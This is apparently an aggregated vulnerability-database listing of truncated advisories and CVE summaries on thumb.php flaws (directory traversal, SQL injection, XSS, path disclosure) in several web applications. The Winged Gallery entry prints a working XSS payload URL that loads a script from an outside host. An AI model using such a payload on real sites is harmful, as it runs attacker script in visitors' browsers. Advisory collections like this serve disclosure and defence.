CVE-2009-3538: Improper Limitation of a Pathname to a Restricted Directory

Directory traversal vulnerability in thumb.php in Clear Content 1.1 allows remote attackers to read arbitrary files via a .. dot dot in the url parameter. NOTE: the provenance of this information is unknown; the details are obtained solely from third party information...

Sql injection

Multiple SQL injection vulnerabilities in E-Uploader Pro 1.0 aka Uploader PRO, when magicquotesgpc is disabled, allow remote attackers to execute arbitrary SQL commands via the 1 id parameter to a img.php, b file.php, c mail.php, d thumb.php, e zip.php, and f zipit.php, and 2 the view parameter t...

CVE-2008-5075: Improper Neutralization of Special Elements used in an SQL Command

Multiple SQL injection vulnerabilities in E-Uploader Pro 1.0 aka Uploader PRO, when magicquotesgpc is disabled, allow remote attackers to execute arbitrary SQL commands via the 1 id parameter to a img.php, b file.php, c mail.php, d thumb.php, e zip.php, and f zipit.php, and 2 the view parameter t...

CVE-2006-3563: Undefined Security Weakness

Cross-site scripting XSS vulnerability in gallery/thumb.php in Winged Gallery 1.0 allows remote attackers to inject arbitrary web script or HTML via the image parameter...

Winged Gallery v1.0

Winged Gallery v1.0 Homepage: http://winged.info/index.php?p=gallery XSS vuln on thumb.php: http://example.com/gallery/thumb.php?image=data/Example+Folder/firefox+icon.jpg"''"""SCRIPT20SRC=http://youfucktard.com/xss.js/SCRIPT"''''&size=75&type=2&w=128&h=128"''"""...

Winged Gallery 1.0 - Thumb.php Cross-Site Scripting

Winged Gallery 1.0 - Thumb.php Cross-Site Scripting source: https://www.securityfocus.com/bid/18629/info Winged Gallery is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input. An attacker may leverage this issue...

CVE-2005-3763

Exponent CMS 0.96.3 and later versions includes the full installation path in the base parameter to thumb.php, which allows remote attackers to obtain sensitive information. NOTE: this might be resultant from an absolute path traversal vulnerability...

CVE-2005-3763: Undefined Security Weakness

Exponent CMS 0.96.3 and later versions includes the full installation path in the base parameter to thumb.php, which allows remote attackers to obtain sensitive information. NOTE: this might be resultant from an absolute path traversal vulnerability...

W-Nailer 0.34

случайно обнаружыл искал уязвимости на чужом сайте уязвимость в W-Nailer 0.34. Разработчик - http://wnailer.vddh.com/ Узвимость: в файле scripts/thumb.php не проверяется file, в итоге - возможность просмотра любых файлоф на сайте, при просмотре превьюшек типа шелла что-то Пример:...

CVE-2005-1896: Undefined Security Weakness

Directory traversal vulnerability in thumb.php in FlatNuke 2.5.3 allows remote attackers to read arbitrary images or obtain the installation path via the image parameter...

CVE-2004-1407

Multiple directory traversal vulnerabilities in singapore Image Gallery Web Application 0.9.10 allow remote attackers to 1 read arbitrary files via the showThumb method for thumb.php, or 2 delete arbitrary files via admin.class.php...